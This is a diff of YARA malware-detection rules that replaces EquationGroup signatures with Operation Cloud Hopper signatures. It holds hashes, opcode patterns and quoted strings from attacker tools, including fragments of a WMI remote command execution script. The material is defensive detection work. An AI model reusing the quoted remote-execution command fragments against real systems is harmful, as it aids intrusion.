+		$s1 = "{\\version2}{\\edmins0}{\\nofpages1}{\\nofwords11}{\\nofchars69}{\\*\\company google}{\\nofcharsws79}{\\vern24611}{\\*\\password" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		( uint16(0)==0x5c7b and filesize <700KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_2 : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_4 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PortMap_Implant.dll"
-		author = "Auto Generated"
-		id = "662ee1cf-b837-5362-84a8-1af7335d5e1b"
-		date = "2017-01-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1560-L1574"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fcbc518d23dc21d482abcac29505c5404fc9e309554ca7dc9f1014adbff83e1a"
+		description = "Detects malware from Operation Cloud Hopper"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ebc810e6-f549-5401-9ee9-331888eda127"
+		date = "2017-04-03"
+		modified = "2023-01-06"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L96-L112"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b39531e4af93ab026381a1114efe00fa01fb45860ddb512dbfa436471644e20"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "964762416840738b1235ed4ae479a4b117b8cdcc762a6737e83bc2062c0cf236"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145"
 
 	strings:
-		$op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
-		$op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
-		$op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }
+		$s6 = "operator \"\" " fullword ascii
+		$s9 = "InvokeMainViaCRT" fullword ascii
+		$s10 = ".?AVAES@@" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <250KB and all of them )
+		( uint16(0)==0x5a4d and filesize <800KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Ntevt : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_5 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file ntevt.sys"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "36d23adb-dafe-5e99-8976-b146ceca2f9b"
-		date = "2017-01-13"
+		id = "1ad189f8-a4c2-5f56-beec-a55bd516ad8d"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1577-L1591"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c5259c89dfedc34ca032775bda4ead04985da6b3d042b8a6635f5f848570d8c6"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L114-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b91ac8f450843c7c85e8d056218aff671bb0f345d16a7ba3f4180ac008bf318"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "45e5e1ea3456d7852f5c610c7f4447776b9f15b56df7e3a53d57996123e0cebf"
+		hash1 = "beb1bc03bb0fba7b0624f8b2330226f8a7da6344afd68c5bc526f9d43838ef01"
 
 	strings:
-		$s1 = "ntevt.sys" fullword ascii
-		$s2 = "c:\\ntevt.pdb" fullword ascii
+		$x1 = "CWINDOWSSYSTEMROOT" fullword ascii
+		$x2 = "YJ_D_KROPOX_M_NUJI_OLY_S_JU_MOOK" fullword ascii
+		$x3 = "NJK_JK_SED_PNJHGFUUGIOO_PIY" fullword ascii
+		$x4 = "c_VDGQBUl}YSB_C_VDlqSDYFU" fullword ascii
+		$s7 = "FALLINLOVE" fullword ascii
+		$op1 = { 83 ec 60 8d 4c 24 00 e8 6f ff ff ff 8d 4c 24 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and all of them )
+		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 2 of them )) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Nethide_Implant : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_6 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file nethide_Implant.dll"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "36559b69-1718-5d9b-8d6f-3db4becba0c4"
-		date = "2017-01-13"
-		modified = "2023-01-27"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1593-L1608"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd25d05b001ac7d41e60270b62aeecd520a570e76557c68d78d9680c7beb90ab"
+		id = "b7578cbd-0f41-5dec-86f6-5792c305a182"
+		date = "2017-04-03"
+		modified = "2023-12-05"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L136-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f165912001c5e2eb48cef46df12220f7f7a53e908a6af571bb4932c50e355388"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b2daf9058fdc5e2affd5a409aebb90343ddde4239331d3de8edabeafdb3a48fa"
+		hash1 = "aabebea87f211d47f72d662e2449009f83eac666d81b8629cf57219d0ce31af6"
 
 	strings:
-		$s1 = "\\\\.\\dlcndi" fullword ascii
-		$s2 = "s\\drivers\\" wide
+		$s1 = "YDNCCOVZKXGRVQPOBRNXXQVNQYXBBCONCOQEGYELIRBEYOVODGXCOXTHXPCXNGUCHRVWKKZSYQMAOWWGHRSPRGSEUWYMEFZHRTHO" fullword ascii
+		$s2 = "psychiatry.dat" fullword ascii
+		$s3 = "meekness.lnk" fullword ascii
+		$s4 = "SOFTWARE\\EGGORG" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and all of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_4 : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_7 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level4_flav_dll"
-		author = "Auto Generated"
-		id = "e3fc376b-f7cc-5dfa-bcf4-4991962a4cf9"
-		date = "2017-01-13"
+		description = "Detects malware from Operation Cloud Hopper"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8d32e379-c902-5330-84f5-693a7649a2e4"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1610-L1624"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3046cbfa4b4f5eb5d0efc1b2b658567391b0c219650437088a0d6c179e9235fb"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L154-L168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01993e785fb7d5de9ea629d31725e86fa169b70dcde9716a5da0b646ac88864a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "227faeb770ba538fb85692b3dfcd00f76a0a5205d1594bd0969a1e535ee90ee1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce"
 
 	strings:
-		$op1 = { 11 8b da 23 df 8d 1c 9e c1 fb 02 33 da 23 df 33 }
-		$op2 = { c3 0c 57 8b 3b eb 27 8b f7 83 7e 08 00 8b 3f 74 }
-		$op3 = { 00 0f b7 5e 14 8d 5c 33 18 8b c3 2b 45 08 50 ff }
+		$x1 = "jepsjepsjepsjepsjepsjepsjepsjepsjepsjeps" fullword ascii
+		$x2 = "extOextOextOextO" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Tdi6 : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_8 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file tdi6.sys"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6dbc28a-ec52-5256-afff-ab15ed1b90a6"
-		date = "2017-01-13"
+		id = "5e0a09e3-732a-5a90-9d4a-11eae2aa4cc4"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1626-L1642"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba7e14a3bf158795ecee498976847fbbcc80635799be4574f05aa80d1a85a4ef"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L170-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a27b041a1ff0fae3d06d8050fe3207435cb84f421099dc1cad8f8a503e976860"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "12c082f74c0916a0e926488642236de3a12072a18d29c97bead15bb301f4b3f8"
+		hash1 = "19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b"
+		hash2 = "5cebc133ae3b6afee27beb7d3cdb5f3d675c3f12b7204531f453e99acdaa87b1"
 
 	strings:
-		$s1 = "tdi6.sys" fullword wide
-		$s3 = "TDI IPv6 Wrapper" fullword wide
-		$s5 = "Corporation. All rights reserved." fullword wide
-		$s6 = "FailAction" fullword wide
+		$s1 = "WSHELL32.dll" fullword wide
+		$s2 = "operator \"\" " fullword ascii
+		$s3 = "\" /t REG_SZ /d \"" fullword wide
+		$s4 = " /f /v \"" fullword wide
+		$s5 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+		$s6 = "AFX_DIALOG_LAYOUT" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		( uint16(0)==0x5a4d and filesize <900KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Modifyauthentication_Implant : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_9 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file modifyAuthentication_Implant.dll"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "990035c5-cd9c-59e0-b244-e2caafd2561f"
-		date = "2017-01-13"
+		id = "5a02f2ac-905d-550a-bde0-cfde6ed1a4ab"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1644-L1661"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bdc4c9e9a3e327bb55781670d8f373d5a8904ccd47cc4b67673c47a76c54927"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L191-L205"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f45159a508ce8ccb5ab57c7347916642f58ab1b6e0a8886ba53e4810ed65c5c1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e1dff24af5bfc991dca21b4e3a19ffbc069176d674179eef691afc6b1ac6f805"
+		hash1 = "f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06"
 
 	strings:
-		$s1 = "LSASS.EXE" fullword wide
-		$s2 = "hsamsrv.dll" fullword ascii
-		$s3 = "hZwOpenProcess" fullword ascii
-		$s4 = "hOpenProcess" fullword ascii
-		$s5 = ".?AVFeFinallyFailure@@" fullword ascii
+		$s1 = "MsMpEng.exe" fullword ascii
+		$op0 = { 2b c7 50 e8 22 83 ff ff ff b6 c0 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Ntfltmgr : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_10 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file ntfltmgr.sys"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dd7fd371-a097-5df5-9ffd-89babbadee96"
-		date = "2017-01-13"
+		id = "a5d3237e-d6db-54ba-bfa6-f642f8096819"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1663-L1679"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e931088f363c7dfb6057019faf9e5c674c90f6bdae6211dcc871464b410efd3"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L207-L222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "538754e6daadd3efa3e77723dce7143fecad28cf94caa1b29a2d45df44b14ee4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
+		hash1 = "5b4028728d8011a2003b7ce6b9ec663dd6a60b7adcc20e2125da318e2d9e13f4"
 
 	strings:
-		$s1 = "ntfltmgr.sys" fullword wide
-		$s2 = "ntfltmgr.pdb" fullword ascii
-		$s4 = "Network Filter Manager" fullword wide
-		$s5 = "Corporation. All rights reserved." fullword wide
+		$x1 = "bakshell.EXE" fullword wide
+		$s19 = "bakshell Applicazione MFC" fullword wide
+		$op0 = { 83 c4 34 c3 57 8b ce e8 92 18 00 00 68 20 70 40 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_DXGHLP16 : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_11 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file DXGHLP16.SYS"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d9e39c22-f606-5d9c-a5e2-e536b8566595"
-		date = "2017-01-13"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1681-L1702"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5244cef876af4c0c02109599e6250254c854ed5c9bd2d0ccc44676dca21a1650"
+		id = "18bd2fa9-7eca-5dbc-8e79-953800d5bb0a"
+		date = "2017-04-03"
+		modified = "2023-12-05"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L224-L240"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7935d3aeef0d4c94a00dd44942a1ba97d0c9fce848914ebc9c59d9f8e9f51599"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a80f6c57f772f20d63021c8971a280c19e8eafe7cc7088344c598d84026dda15"
 
 	strings:
-		$s1 = "DXGHLP16.SYS" fullword wide
-		$s2 = "P16.SYS" fullword ascii
-		$s3 = "\\Registry\\User\\CurrentUser\\" wide
-		$s4 = "\\DosDevices\\%ws" wide
-		$s5 = "\\Device\\%ws_%ws" wide
-		$s6 = "ct@SYS\\DXGHLP16.dbg" fullword ascii
-		$s7 = "%ws%03d%ws%wZ" fullword wide
-		$s8 = "TCP/IP driver" fullword wide
-		$s9 = "\\Device\\%ws" wide
+		$x1 = "IOGVWDWCXZVRHTE" fullword ascii
+		$op1 = { c9 c3 56 6a 00 8b f1 6a 64 e8 dd 34 00 00 c7 06 }
+		$op2 = { 68 38 00 41 00 68 34 00 41 00 e8 d3 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Msgkd : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Lockdown : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file msgkd.ex_"
+		description = "Tools related to Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41019119-9bf4-5a45-b74b-f75ab7738821"
-		date = "2017-01-13"
+		id = "0500f19c-597b-5904-8401-35236215ff29"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1704-L1718"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "60336294ef5fa0221fc6a0e8b05bb279ac0e167024568cd9efa78e678e763704"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L251-L265"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3f24c08817bc94bb4b7d09d51bed62f43952f2c66338f29c4bc8e9000b3ff78a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "25eec68fc9f0d8d1b5d72c9eae7bee29035918e9dcbeab13e276dec4b2ad2a56"
+		hash1 = "8ca61cef74573d9c1d19b8191c23cbd2b7a1195a74eaba037377e5ee232b1dc5"
 
 	strings:
-		$s1 = "KEysud" fullword ascii
-		$s2 = "XWWWPWS" fullword ascii
+		$s1 = "lockdown.dll" fullword ascii
+		$s3 = "mfeann.exe" fullword ascii
 
 	condition:
 		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Runaschild_Lp : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Windowxarbot : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file RunAsChild_Lp.dll"
+		description = "Malware related to Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f0623c3f-3a49-5cdf-89ea-2b3273fd8324"
-		date = "2017-01-13"
+		id = "4434632a-1886-5e8b-a205-12220263980a"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1720-L1735"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77bea554ead64f85f4efdc49f91ea3b24d1759ae9d91718d443938ab862b0191"
+		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L267-L279"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d8a9c25032c5371e843f8e80884e43a64c73b1644605b39b2dff11104c3bbcd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
 
 	strings:
-		$s1 = "Privilege elevation failed" fullword wide
-		$s2 = "Unable to open parent process" fullword wide
-		$s4 = "Invalid input to lpRunAsChildPPC" fullword wide
+		$s1 = "\\Release\\WindowXarbot.pdb" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_6 : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Wmidll_Inmemory
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level3_dll_x64"
+		description = "Malware related to Operation Cloud Hopper - Page 25"
 		author = "Florian Roth (Nextron Systems)"
-		id = "99b2fab0-1298-5d48-a78b-eb59942ecfca"
-		date = "2017-01-13"
+		id = "0afb6e52-bc9a-5a68-890b-79a017e5d554"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1737-L1752"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5a14bd8efe2cf68beec207e5deec28fd5b9d89c506593214eccbceae3cb862a7"
+		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L281-L293"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6dddda4e519eeaa67eb4c21151cab10553420a23a077751e0fc45fcae0bf6e69"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "339855618fb3ef53987b8c14a61bd4519b2616e766149e0c21cbd7cbe7a632c9"
 
 	strings:
-		$s1 = "Psxssdll.dll" fullword wide
-		$s2 = "Posix Server Dll" fullword wide
-		$s3 = "Copyright (C) Microsoft" fullword wide
+		$s1 = "wmi.dll 2>&1" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_PC_Level3_Http_Flav_Dll_X64 : FILE
+rule SIGNATURE_BASE_VBS_Wmiexec_Tool_Apr17_1 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level3_http_flav_dll_x64"
+		description = "Tools related to Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "93a3d47d-1dac-5621-8e69-d6d23b7628db"
-		date = "2017-01-13"
+		id = "8175eb74-38f1-5d8f-a668-aa8e215b032e"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1754-L1771"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b304cb747e609ad5de46624e2d0d005d5f8521e16f0b36cab31535709d7ab72f"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L295-L318"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0aad1c8dfc07ae3df835ae113bd02abfd706a0646ffcac5dd5691822016d31a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4e0209b4f5990148f5d6dee47dbc7021bf78a782b85cef4d6c8be22d698b884f"
+		hash1 = "21bc328ed8ae81151e7537c27c0d6df6d47ba8909aebd61333e32155d01f3b11"
 
 	strings:
-		$s1 = "Psxssdll.dll" fullword wide
-		$s2 = "Posix Server Dll" fullword wide
-		$s3 = ".?AVOpenSocket@@" fullword ascii
-		$s4 = "RHTTP/1.0" fullword wide
-		$s5 = "Copyright (C) Microsoft" fullword wide
+		$x1 = "strNetUse = \"cmd.exe /c net use \\\\\" & host" fullword ascii
+		$x2 = "localcmd = \"cmd.exe /c \" & command " ascii
+		$x3 = "& \" > \" & TempFile & \" 2>&1\"  '2>&1 err" fullword ascii
+		$x4 = "strExec = \"cmd.exe /c \" & cmd & \" >> \" & resultfile & \" 2>&1\"  '2>&1 err" fullword ascii
+		$x5 = "TempFile = objShell.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\wmi.dll\"" fullword ascii
+		$a1 = "WMIEXEC ERROR: Command -> " ascii
+		$a2 = "WMIEXEC : Command result will output to" fullword ascii
+		$a3 = "WMIEXEC : Target ->" fullword ascii
+		$a4 = "WMIEXEC : Login -> OK" fullword ascii
+		$a5 = "WMIEXEC : Process created. PID:" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and ( all of ($s*))) or ( all of them )
+		( filesize <40KB and 1 of them ) or 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_3 : FILE
+rule SIGNATURE_BASE_Gen_Python_Encoded_Adware : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file mssld.dll"
